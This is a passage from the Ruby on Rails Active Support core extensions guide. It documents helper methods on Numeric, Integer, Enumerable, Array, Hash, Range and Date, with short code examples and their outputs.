7.2 Time

The following methods:

seconds

minutes

hours

days

weeks

fortnights

enable time declarations and calculations, like 45.minutes + 2.hours + 4.weeks. Their return values can also be added to or subtracted from Time objects.

These methods can be combined with from_now, ago, etc, for precise date calculations. For example:

  # equivalent to Time.current.advance(days: 1)
1.day.from_now

# equivalent to Time.current.advance(weeks: 2)
2.weeks.from_now

# equivalent to Time.current.advance(days: 4, weeks: 5)
(4.days + 5.weeks).from_now

For other durations please refer to the time extensions to Integer.

Defined in active_support/core_ext/numeric/time.rb.

7.3 Formatting

Enables the formatting of numbers in a variety of ways.

Produce a string representation of a number as a telephone number:

  5551234.to_fs(:phone)
# => 555-1234
1235551234.to_fs(:phone)
# => 123-555-1234
1235551234.to_fs(:phone, area_code: true)
# => (123) 555-1234
1235551234.to_fs(:phone, delimiter: " ")
# => 123 555 1234
1235551234.to_fs(:phone, area_code: true, extension: 555)
# => (123) 555-1234 x 555
1235551234.to_fs(:phone, country_code: 1)
# => +1-123-555-1234

Produce a string representation of a number as currency:

  1234567890.50.to_fs(:currency)                 # => $1,234,567,890.50
1234567890.506.to_fs(:currency)                # => $1,234,567,890.51
1234567890.506.to_fs(:currency, precision: 3)  # => $1,234,567,890.506

Produce a string representation of a number as a percentage:

  100.to_fs(:percentage)
# => 100.000%
100.to_fs(:percentage, precision: 0)
# => 100%
1000.to_fs(:percentage, delimiter: '.', separator: ',')
# => 1.000,000%
302.24398923423.to_fs(:percentage, precision: 5)
# => 302.24399%

Produce a string representation of a number in delimited form:

  12345678.to_fs(:delimited)                     # => 12,345,678
12345678.05.to_fs(:delimited)                  # => 12,345,678.05
12345678.to_fs(:delimited, delimiter: ".")     # => 12.345.678
12345678.to_fs(:delimited, delimiter: ",")     # => 12,345,678
12345678.05.to_fs(:delimited, separator: " ")  # => 12,345,678 05

Produce a string representation of a number rounded to a precision:

  111.2345.to_fs(:rounded)                     # => 111.235
111.2345.to_fs(:rounded, precision: 2)       # => 111.23
13.to_fs(:rounded, precision: 5)             # => 13.00000
389.32314.to_fs(:rounded, precision: 0)      # => 389
111.2345.to_fs(:rounded, significant: true)  # => 111

Produce a string representation of a number as a human-readable number of bytes:

  123.to_fs(:human_size)                  # => 123 Bytes
1234.to_fs(:human_size)                 # => 1.21 KB
12345.to_fs(:human_size)                # => 12.1 KB
1234567.to_fs(:human_size)              # => 1.18 MB
1234567890.to_fs(:human_size)           # => 1.15 GB
1234567890123.to_fs(:human_size)        # => 1.12 TB
1234567890123456.to_fs(:human_size)     # => 1.1 PB
1234567890123456789.to_fs(:human_size)  # => 1.07 EB

Produce a string representation of a number in human-readable words:

  123.to_fs(:human)               # => "123"
1234.to_fs(:human)              # => "1.23 Thousand"
12345.to_fs(:human)             # => "12.3 Thousand"
1234567.to_fs(:human)           # => "1.23 Million"
1234567890.to_fs(:human)        # => "1.23 Billion"
1234567890123.to_fs(:human)     # => "1.23 Trillion"
1234567890123456.to_fs(:human)  # => "1.23 Quadrillion"

Defined in active_support/core_ext/numeric/conversions.rb.

8 Extensions to Integer

8.1 multiple_of?

The method multiple_of? tests whether an integer is multiple of the argument:

  2.multiple_of?(1) # => true
1.multiple_of?(2) # => false

Defined in active_support/core_ext/integer/multiple.rb.

8.2 ordinal

The method ordinal returns the ordinal suffix string corresponding to the receiver integer:

  1.ordinal    # => "st"
2.ordinal    # => "nd"
53.ordinal   # => "rd"
2009.ordinal # => "th"
-21.ordinal  # => "st"
-134.ordinal # => "th"

Defined in active_support/core_ext/integer/inflections.rb.

8.3 ordinalize

The method ordinalize returns the ordinal string corresponding to the receiver integer. In comparison, note that the ordinal method returns only the suffix string.

  1.ordinalize    # => "1st"
2.ordinalize    # => "2nd"
53.ordinalize   # => "53rd"
2009.ordinalize # => "2009th"
-21.ordinalize  # => "-21st"
-134.ordinalize # => "-134th"

Defined in active_support/core_ext/integer/inflections.rb.

8.4 Time

The following methods:

months

years

enable time declarations and calculations, like 4.months + 5.years. Their return values can also be added to or subtracted from Time objects.

These methods can be combined with from_now, ago, etc, for precise date calculations. For example:

  # equivalent to Time.current.advance(months: 1)
1.month.from_now

# equivalent to Time.current.advance(years: 2)
2.years.from_now

# equivalent to Time.current.advance(months: 4, years: 5)
(4.months + 5.years).from_now

For other durations please refer to the time extensions to Numeric.

Defined in active_support/core_ext/integer/time.rb.

9 Extensions to BigDecimal

9.1 to_s

The method to_s provides a default specifier of "F". This means that a simple call to to_s will result in floating-point representation instead of engineering notation:

  BigDecimal(5.00, 6).to_s       # => "5.0"

Engineering notation is still supported:

  BigDecimal(5.00, 6).to_s("e")  # => "0.5E1"

10 Extensions to Enumerable

10.1 sum

The method sum adds the elements of an enumerable:

  [1, 2, 3].sum # => 6
(1..100).sum  # => 5050

Addition only assumes the elements respond to +:

  [[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
%w(foo bar baz).sum             # => "foobarbaz"
{a: 1, b: 2, c: 3}.sum          # => [:a, 1, :b, 2, :c, 3]

The sum of an empty collection is zero by default, but this is customizable:

  [].sum    # => 0
[].sum(1) # => 1

If a block is given, sum becomes an iterator that yields the elements of the collection and sums the returned values:

  (1..5).sum {|n| n * 2 } # => 30
[2, 4, 6, 8, 10].sum    # => 30

The sum of an empty receiver can be customized in this form as well:

  [].sum(1) {|n| n**3} # => 1

Defined in active_support/core_ext/enumerable.rb.

10.2 index_by

The method index_by generates a hash with the elements of an enumerable indexed by some key.

It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:

  invoices.index_by(&:number)
# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}

Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.

Defined in active_support/core_ext/enumerable.rb.

10.3 index_with

The method index_with generates a hash with the elements of an enumerable as keys. The value is either a passed default or returned in a block.

  post = Post.new(title: "hey there", body: "what's up?")

%i( title body ).index_with { |attr_name| post.public_send(attr_name) }
# => { title: "hey there", body: "what's up?" }

WEEKDAYS.index_with(Interval.all_day)
# => { monday: [ 0, 1440 ], … }

Defined in active_support/core_ext/enumerable.rb.

10.4 many?

The method many? is shorthand for collection.size > 1:

  <% if pages.many? %>
  <%= pagination_links %>
<% end %>

If an optional block is given, many? only takes into account those elements that return true:

  @see_more = videos.many? {|video| video.category == params[:category]}

Defined in active_support/core_ext/enumerable.rb.

10.5 exclude?

The predicate exclude? tests whether a given object does not belong to the collection. It is the negation of the built-in include?:

  to_visit << node if visited.exclude?(node)

Defined in active_support/core_ext/enumerable.rb.

10.6 including

The method including returns a new enumerable that includes the passed elements:

  [ 1, 2, 3 ].including(4, 5)                    # => [ 1, 2, 3, 4, 5 ]
["David", "Rafael"].including %w[ Aaron Todd ] # => ["David", "Rafael", "Aaron", "Todd"]

Defined in active_support/core_ext/enumerable.rb.

10.7 excluding

The method excluding returns a copy of an enumerable with the specified elements removed:

  ["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]

excluding is aliased to without.

Defined in active_support/core_ext/enumerable.rb.

10.8 pluck

The method pluck extracts the given key from each element:

  [{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"]
[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pluck(:id, :name) # => [[1, "David"], [2, "Rafael"]]

Defined in active_support/core_ext/enumerable.rb.

10.9 pick

The method pick extracts the given key from the first element:

  [{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pick(:name) # => "David"
[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pick(:id, :name) # => [1, "David"]

Defined in active_support/core_ext/enumerable.rb.

11 Extensions to Array

11.1 Accessing

Active Support augments the API of arrays to ease certain ways of accessing them. For example, to returns the subarray of elements up to the one at the passed index:

  %w(a b c d).to(2) # => ["a", "b", "c"]
[].to(7)          # => []

Similarly, from returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.

  %w(a b c d).from(2)  # => ["c", "d"]
%w(a b c d).from(10) # => []
[].from(0)           # => []

The method including returns a new array that includes the passed elements:

  [ 1, 2, 3 ].including(4, 5)          # => [ 1, 2, 3, 4, 5 ]
[ [ 0, 1 ] ].including([ [ 1, 0 ] ]) # => [ [ 0, 1 ], [ 1, 0 ] ]

The method excluding returns a copy of the Array excluding the specified elements. This is an optimization of Enumerable#excluding that uses Array#- instead of Array#reject for performance reasons.

  ["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]
[ [ 0, 1 ], [ 1, 0 ] ].excluding([ [ 1, 0 ] ])                  # => [ [ 0, 1 ] ]

The methods second, third, fourth, and fifth return the corresponding element, as do second_to_last and third_to_last (first and last are built-in). Thanks to social wisdom and positive constructiveness all around, forty_two is also available.

  %w(a b c d).third # => "c"
%w(a b c d).fifth # => nil

Defined in active_support/core_ext/array/access.rb.

11.2 Extracting

The method extract! removes and returns the elements for which the block returns a true value. If no block is given, an Enumerator is returned instead.

  numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
odd_numbers = numbers.extract! { |number| number.odd? } # => [1, 3, 5, 7, 9]
numbers # => [0, 2, 4, 6, 8]

Defined in active_support/core_ext/array/extract.rb.

11.3 Options Extraction

When the last argument in a method call is a hash, except perhaps for a &block argument, Ruby allows you to omit the brackets:

  User.exists?(email: params[:email])

That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.

If a method expects a variable number of arguments and uses * in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.

In those cases, you may give an options hash a distinguished treatment with extract_options!. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.

Let's see for example the definition of the caches_action controller macro:

  def caches_action(*actions)
  return unless cache_configured?
  options = actions.extract_options!
  # ...
end

This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to extract_options! you obtain the options hash and remove it from actions in a simple and explicit way.

Defined in active_support/core_ext/array/extract_options.rb.

11.4 Conversions

11.4.1 to_sentence

The method to_sentence turns an array into a string containing a sentence that enumerates its items:

  %w().to_sentence                # => ""
%w(Earth).to_sentence           # => "Earth"
%w(Earth Wind).to_sentence      # => "Earth and Wind"
%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"

This method accepts three options:

:two_words_connector: What is used for arrays of length 2. Default is " and ".

:words_connector: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".

:last_word_connector: What is used to join the last items of an array with 3 or more elements. Default is ", and ".

The defaults for these options can be localized, their keys are:

Option | I18n key
:two_words_connector | support.array.two_words_connector
:words_connector | support.array.words_connector
:last_word_connector | support.array.last_word_connector

Defined in active_support/core_ext/array/conversions.rb.

11.4.2 to_fs

The method to_fs acts like to_s by default.

If the array contains items that respond to id, however, the symbol :db may be passed as argument. That's typically used with collections of Active Record objects. Returned strings are:

  [].to_fs(:db)            # => "null"
[user].to_fs(:db)        # => "8456"
invoice.lines.to_fs(:db) # => "23,567,556,12"

Integers in the example above are supposed to come from the respective calls to id.

Defined in active_support/core_ext/array/conversions.rb.

11.4.3 to_xml

The method to_xml returns a string containing an XML representation of its receiver:

  Contributor.limit(2).order(:rank).to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors type="array">
#   <contributor>
#     <id type="integer">4356</id>
#     <name>Jeremy Kemper</name>
#     <rank type="integer">1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id type="integer">4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank type="integer">2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>

To do so it sends to_xml to every item in turn, and collects the results under a root node. All items must respond to to_xml, an exception is raised otherwise.

By default, the name of the root element is the underscored and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with is_a?) and they are not hashes. In the example above that's "contributors".

If there's any element that does not belong to the type of the first one the root node becomes "objects":

  [Contributor.first, Commit.first].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
#   <object>
#     <id type="integer">4583</id>
#     <name>Aaron Batalion</name>
#     <rank type="integer">53</rank>
#     <url-id>aaron-batalion</url-id>
#   </object>
#   <object>
#     <author>Joshua Peek</author>
#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
#     <branch>origin/master</branch>
#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
#     <committer>Joshua Peek</committer>
#     <git-show nil="true"></git-show>
#     <id type="integer">190316</id>
#     <imported-from-svn type="boolean">false</imported-from-svn>
#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
#   </object>
# </objects>

If the receiver is an array of hashes the root element is by default also "objects":

  [{a: 1, b: 2}, {c: 3}].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
#   <object>
#     <b type="integer">2</b>
#     <a type="integer">1</a>
#   </object>
#   <object>
#     <c type="integer">3</c>
#   </object>
# </objects>

If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the :root option to ensure a consistent root element.

The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option :children allows you to set these node names.

The default XML builder is a fresh instance of Builder::XmlMarkup. You can configure your own builder via the :builder option. The method also accepts options like :dasherize and friends, they are forwarded to the builder:

  Contributor.limit(2).order(:rank).to_xml(skip_types: true)
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors>
#   <contributor>
#     <id>4356</id>
#     <name>Jeremy Kemper</name>
#     <rank>1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id>4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank>2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>

Defined in active_support/core_ext/array/conversions.rb.

11.5 Wrapping

The method Array.wrap wraps its argument in an array unless it is already an array (or array-like).

Specifically:

If the argument is nil an empty array is returned.

Otherwise, if the argument responds to to_ary it is invoked, and if the value of to_ary is not nil, it is returned.

Otherwise, an array with the argument as its single element is returned.

  Array.wrap(nil)       # => []
Array.wrap([1, 2, 3]) # => [1, 2, 3]
Array.wrap(0)         # => [0]

This method is similar in purpose to Kernel#Array, but there are some differences:

If the argument responds to to_ary the method is invoked. Kernel#Array moves on to try to_a if the returned value is nil, but Array.wrap returns an array with the argument as its single element right away.

If the returned value from to_ary is neither nil nor an Array object, Kernel#Array raises an exception, while Array.wrap does not, it just returns the value.

It does not call to_a on the argument, if the argument does not respond to to_ary it returns an array with the argument as its single element.

The last point is particularly worth comparing for some enumerables:

  Array.wrap(foo: :bar) # => [{:foo=>:bar}]
Array(foo: :bar)      # => [[:foo, :bar]]

There's also a related idiom that uses the splat operator:

  [*object]

Defined in active_support/core_ext/array/wrap.rb.

11.6 Duplicating

The method Array#deep_dup duplicates itself and all objects inside recursively with the Active Support method Object#deep_dup. It works like Array#map, sending deep_dup method to each object inside.

  array = [1, [2, 3]]
dup = array.deep_dup
dup[1][2] = 4
array[1][2] == nil   # => true

Defined in active_support/core_ext/object/deep_dup.rb.

11.7 Grouping

11.7.1 in_groups_of(number, fill_with = nil)

The method in_groups_of splits an array into consecutive groups of a certain size. It returns an array with the groups:

  [1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]

or yields them in turn if a block is passed:

  <% sample.in_groups_of(3) do |a, b, c| %>
  <tr>
    <td><%= a %></td>
    <td><%= b %></td>
    <td><%= c %></td>
  </tr>
<% end %>

The first example shows how in_groups_of fills the last group with as many nil elements as needed to have the requested size. You can change this padding value using the second optional argument:

  [1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]

And you can tell the method not to fill the last group by passing false:

  [1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]

As a consequence false can't be used as a padding value.

Defined in active_support/core_ext/array/grouping.rb.

11.7.2 in_groups(number, fill_with = nil)

The method in_groups splits an array into a certain number of groups. The method returns an array with the groups:

  %w(1 2 3 4 5 6 7).in_groups(3)
# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]

or yields them in turn if a block is passed:

  %w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
["1", "2", "3"]
["4", "5", nil]
["6", "7", nil]

The examples above show that in_groups fills some groups with a trailing nil element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.

You can change this padding value using the second optional argument:

  %w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]

And you can tell the method not to fill the smaller groups by passing false:

  %w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]

As a consequence false can't be used as a padding value.

Defined in active_support/core_ext/array/grouping.rb.

11.7.3 split(value = nil)

The method split divides an array by a separator and returns the resulting chunks.

If a block is passed the separators are those elements of the array for which the block returns true:

  (-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]

Otherwise, the value received as argument, which defaults to nil, is the separator:

  [0, 1, -5, 1, 1, "foo", "bar"].split(1)
# => [[0], [-5], [], ["foo", "bar"]]

Observe in the previous example that consecutive separators result in empty arrays.

Defined in active_support/core_ext/array/grouping.rb.

12 Extensions to Hash

12.1 Conversions

12.1.1 to_xml

The method to_xml returns a string containing an XML representation of its receiver:

  {"foo" => 1, "bar" => 2}.to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <hash>
#   <foo type="integer">1</foo>
#   <bar type="integer">2</bar>
# </hash>

To do so, the method loops over the pairs and builds nodes that depend on the values. Given a pair key, value:

If value is a hash there's a recursive call with key as :root.

If value is an array there's a recursive call with key as :root, and key singularized as :children.

If value is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the options hash as first argument with key as :root, and key singularized as second argument. Its return value becomes a new node.

If value responds to to_xml the method is invoked with key as :root.

Otherwise, a node with key as tag is created with a string representation of value as text node. If value is nil an attribute "nil" set to "true" is added. Unless the option :skip_types exists and is true, an attribute "type" is added as well according to the following mapping:

  XML_TYPE_NAMES = {
  "Symbol"     => "symbol",
  "Integer"    => "integer",
  "BigDecimal" => "decimal",
  "Float"      => "float",
  "TrueClass"  => "boolean",
  "FalseClass" => "boolean",
  "Date"       => "date",
  "DateTime"   => "datetime",
  "Time"       => "datetime"
}

By default the root node is "hash", but that's configurable via the :root option.

The default XML builder is a fresh instance of Builder::XmlMarkup. You can configure your own builder with the :builder option. The method also accepts options like :dasherize and friends, they are forwarded to the builder.

Defined in active_support/core_ext/hash/conversions.rb.

12.2 Merging

Ruby has a built-in method Hash#merge that merges two hashes:

  {a: 1, b: 1}.merge(a: 0, c: 2)
# => {:a=>0, :b=>1, :c=>2}

Active Support defines a few more ways of merging hashes that may be convenient.

12.2.1 reverse_merge and reverse_merge!

In case of collision the key in the hash of the argument wins in merge. You can support option hashes with default values in a compact way with this idiom:

  options = {length: 30, omission: "..."}.merge(options)

Active Support defines reverse_merge in case you prefer this alternative notation:

  options = options.reverse_merge(length: 30, omission: "...")

And a bang version reverse_merge! that performs the merge in place:

  options.reverse_merge!(length: 30, omission: "...")

Take into account that reverse_merge! may change the hash in the caller, which may or may not be a good idea.

Defined in active_support/core_ext/hash/reverse_merge.rb.

12.2.2 reverse_update

The method reverse_update is an alias for reverse_merge!, explained above.

Note that reverse_update has no bang.

Defined in active_support/core_ext/hash/reverse_merge.rb.

12.2.3 deep_merge and deep_merge!

As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.

Active Support defines Hash#deep_merge. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their merge becomes the value in the resulting hash:

  {a: {b: 1}}.deep_merge(a: {c: 2})
# => {:a=>{:b=>1, :c=>2}}

The method deep_merge! performs a deep merge in place.

Defined in active_support/core_ext/hash/deep_merge.rb.

12.3 Deep Duplicating

The method Hash#deep_dup duplicates itself and all keys and values inside recursively with Active Support method Object#deep_dup. It works like Enumerator#each_with_object with sending deep_dup method to each pair inside.

  hash = { a: 1, b: { c: 2, d: [3, 4] } }

dup = hash.deep_dup
dup[:b][:e] = 5
dup[:b][:d] << 5

hash[:b][:e] == nil      # => true
hash[:b][:d] == [3, 4]   # => true

Defined in active_support/core_ext/object/deep_dup.rb.

12.4 Working with Keys

12.4.1 except and except!

The method except returns a hash with the keys in the argument list removed, if present:

  {a: 1, b: 2}.except(:a) # => {:b=>2}

If the receiver responds to convert_key, the method is called on each of the arguments. This allows except to play nice with hashes with indifferent access for instance:

  {a: 1}.with_indifferent_access.except(:a)  # => {}
{a: 1}.with_indifferent_access.except("a") # => {}

There's also the bang variant except! that removes keys in place.

Defined in active_support/core_ext/hash/except.rb.

12.4.2 stringify_keys and stringify_keys!

The method stringify_keys returns a hash that has a stringified version of the keys in the receiver. It does so by sending to_s to them:

  {nil => nil, 1 => 1, a: :a}.stringify_keys
# => {"" => nil, "1" => 1, "a" => :a}

In case of key collision, the value will be the one most recently inserted into the hash:

  {"a" => 1, a: 2}.stringify_keys
# The result will be
# => {"a"=>2}

This method may be useful for example to easily accept both symbols and strings as options. For instance ActionView::Helpers::FormHelper defines:

  def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
  options = options.stringify_keys
  options["type"] = "checkbox"
  # ...
end

The second line can safely access the "type" key, and let the user to pass either :type or "type".

There's also the bang variant stringify_keys! that stringifies keys in place.

Besides that, one can use deep_stringify_keys and deep_stringify_keys! to stringify all the keys in the given hash and all the hashes nested in it. An example of the result is:

  {nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}

Defined in active_support/core_ext/hash/keys.rb.

12.4.3 symbolize_keys and symbolize_keys!

The method symbolize_keys returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending to_sym to them:

  {nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
# => {nil=>nil, 1=>1, :a=>"a"}

Note in the previous example only one key was symbolized.

In case of key collision, the value will be the one most recently inserted into the hash:

  {"a" => 1, a: 2}.symbolize_keys
# => {:a=>2}

This method may be useful for example to easily accept both symbols and strings as options. For instance ActionText::TagHelper defines

  def rich_text_area_tag(name, value = nil, options = {})
  options = options.symbolize_keys

  options[:input] ||= "trix_input_#{ActionText::TagHelper.id += 1}"
  # ...
end

The third line can safely access the :input key, and let the user to pass either :input or "input".

There's also the bang variant symbolize_keys! that symbolizes keys in place.

Besides that, one can use deep_symbolize_keys and deep_symbolize_keys! to symbolize all the keys in the given hash and all the hashes nested in it. An example of the result is:

  {nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}

Defined in active_support/core_ext/hash/keys.rb.

12.4.4 to_options and to_options!

The methods to_options and to_options! are aliases of symbolize_keys and symbolize_keys!, respectively.

Defined in active_support/core_ext/hash/keys.rb.

12.4.5 assert_valid_keys

The method assert_valid_keys receives an arbitrary number of arguments, and checks whether the receiver has any key outside that list. If it does ArgumentError is raised.

  {a: 1}.assert_valid_keys(:a)  # passes
{a: 1}.assert_valid_keys("a") # ArgumentError

Active Record does not accept unknown options when building associations, for example. It implements that control via assert_valid_keys.

Defined in active_support/core_ext/hash/keys.rb.

12.5 Working with Values

12.5.1 deep_transform_values and deep_transform_values!

The method deep_transform_values returns a new hash with all values converted by the block operation. This includes the values from the root hash and from all nested hashes and arrays.

  hash = { person: { name: 'Rob', age: '28' } }

hash.deep_transform_values{ |value| value.to_s.upcase }
# => {person: {name: "ROB", age: "28"}}

There's also the bang variant deep_transform_values! that destructively converts all values by using the block operation.

Defined in active_support/core_ext/hash/deep_transform_values.rb.

12.6 Slicing

The method slice! replaces the hash with only the given keys and returns a hash containing the removed key/value pairs.

  hash = {a: 1, b: 2}
rest = hash.slice!(:a) # => {:b=>2}
hash                   # => {:a=>1}

Defined in active_support/core_ext/hash/slice.rb.

12.7 Extracting

The method extract! removes and returns the key/value pairs matching the given keys.

  hash = {a: 1, b: 2}
rest = hash.extract!(:a) # => {:a=>1}
hash                     # => {:b=>2}

The method extract! returns the same subclass of Hash that the receiver is.

  hash = {a: 1, b: 2}.with_indifferent_access
rest = hash.extract!(:a).class
# => ActiveSupport::HashWithIndifferentAccess

Defined in active_support/core_ext/hash/slice.rb.

12.8 Indifferent Access

The method with_indifferent_access returns an ActiveSupport::HashWithIndifferentAccess out of its receiver:

  {a: 1}.with_indifferent_access["a"] # => 1

Defined in active_support/core_ext/hash/indifferent_access.rb.

13 Extensions to Regexp

13.1 multiline?

The method multiline? says whether a regexp has the /m flag set, that is, whether the dot matches newlines.

  %r{.}.multiline?  # => false
%r{.}m.multiline? # => true

Regexp.new('.').multiline?                    # => false
Regexp.new('.', Regexp::MULTILINE).multiline? # => true

Rails uses this method in a single place, also in the routing code. Multiline regexps are disallowed for route requirements and this flag eases enforcing that constraint.

  def verify_regexp_requirements(requirements)
  # ...
  if requirement.multiline?
    raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}"
  end
  # ...
end

Defined in active_support/core_ext/regexp.rb.

14 Extensions to Range

14.1 to_s

Active Support extends the method Range#to_s so that it understands an optional format argument. As of this writing the only supported non-default format is :db:

  (Date.today..Date.tomorrow).to_s
# => "2009-10-25..2009-10-26"

(Date.today..Date.tomorrow).to_s(:db)
# => "BETWEEN '2009-10-25' AND '2009-10-26'"

As the example depicts, the :db format generates a BETWEEN SQL clause. That is used by Active Record in its support for range values in conditions.

Defined in active_support/core_ext/range/conversions.rb.

14.2 === and include?

The methods Range#=== and Range#include? say whether some value falls between the ends of a given instance:

  (2..3).include?(Math::E) # => true

Active Support extends these methods so that the argument may be another range in turn. In that case we test whether the ends of the argument range belong to the receiver themselves:

  (1..10) === (3..7)  # => true
(1..10) === (0..7)  # => false
(1..10) === (3..11) # => false
(1...9) === (3..9)  # => false

(1..10).include?(3..7)  # => true
(1..10).include?(0..7)  # => false
(1..10).include?(3..11) # => false
(1...9).include?(3..9)  # => false

Defined in active_support/core_ext/range/compare_range.rb.

14.3 overlaps?

The method Range#overlaps? says whether any two given ranges have non-void intersection:

  (1..10).overlaps?(7..11)  # => true
(1..10).overlaps?(0..7)   # => true
(1..10).overlaps?(11..27) # => false

Defined in active_support/core_ext/range/overlaps.rb.

15 Extensions to Date

15.1 Calculations

The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, Date.new(1582, 10, 4).tomorrow returns Date.new(1582, 10, 15) and so on. Please check test/core_ext/date_ext_test.rb in the Active Support test suite for expected behavior.

15.1.1 Date.current

Active Support defines Date.current to be today in the current time zone. That's like Date.today, except that it honors the user time zone, if defined. It also defines Date.yesterday and Date.tomorrow, and the instance predicates past?, today?, tomorrow?, next_day?, yesterday?, prev_day?, future?, on_weekday? and on_weekend?, all of them relative to Date.current.

When making Date comparisons using methods which honor the user time zone, make sure to use Date.current and not Date.today. There are cases where the user time zone might be in the future compared to the system time zone, which Date.today uses by default. This means Date.today may equal Date.yesterday.

Defined in active_support/core_ext/date/calculations.rb.

15.1.2 Named Dates

15.1.2.1 beginning_of_week, end_of_week

The methods beginning_of_week and end_of_week return the dates for the beginning and end of the week, respectively. Weeks are assumed to start on Monday, but that can be changed passing an argument, setting thread local Date.beginning_of_week or config.beginning_of_week.

  d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.beginning_of_week          # => Mon, 03 May 2010
d.beginning_of_week(:sunday) # => Sun, 02 May 2010
d.end_of_week                # => Sun, 09 May 2010
d.end_of_week(:sunday)       # => Sat, 08 May 2010

beginning_of_week is aliased to at_beginning_of_week and end_of_week is aliased to at_end_of_week.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.2 monday, sunday

The methods monday and sunday return the dates for the previous Monday and next Sunday, respectively.

  d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
d.monday                     # => Mon, 03 May 2010
d.sunday                     # => Sun, 09 May 2010

d = Date.new(2012, 9, 10)    # => Mon, 10 Sep 2012
d.monday                     # => Mon, 10 Sep 2012

d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
d.sunday                     # => Sun, 16 Sep 2012

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.3 prev_week, next_week

The method next_week receives a symbol with a day name in English (default is the thread local Date.beginning_of_week, or config.beginning_of_week, or :monday) and it returns the date corresponding to that day.

  d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.next_week              # => Mon, 10 May 2010
d.next_week(:saturday)   # => Sat, 15 May 2010

The method prev_week is analogous:

  d.prev_week              # => Mon, 26 Apr 2010
d.prev_week(:saturday)   # => Sat, 01 May 2010
d.prev_week(:friday)     # => Fri, 30 Apr 2010

prev_week is aliased to last_week.

Both next_week and prev_week work as expected when Date.beginning_of_week or config.beginning_of_week are set.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.4 beginning_of_month, end_of_month

The methods beginning_of_month and end_of_month return the dates for the beginning and end of the month:

  d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_month     # => Sat, 01 May 2010
d.end_of_month           # => Mon, 31 May 2010

beginning_of_month is aliased to at_beginning_of_month, and end_of_month is aliased to at_end_of_month.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.5 beginning_of_quarter, end_of_quarter

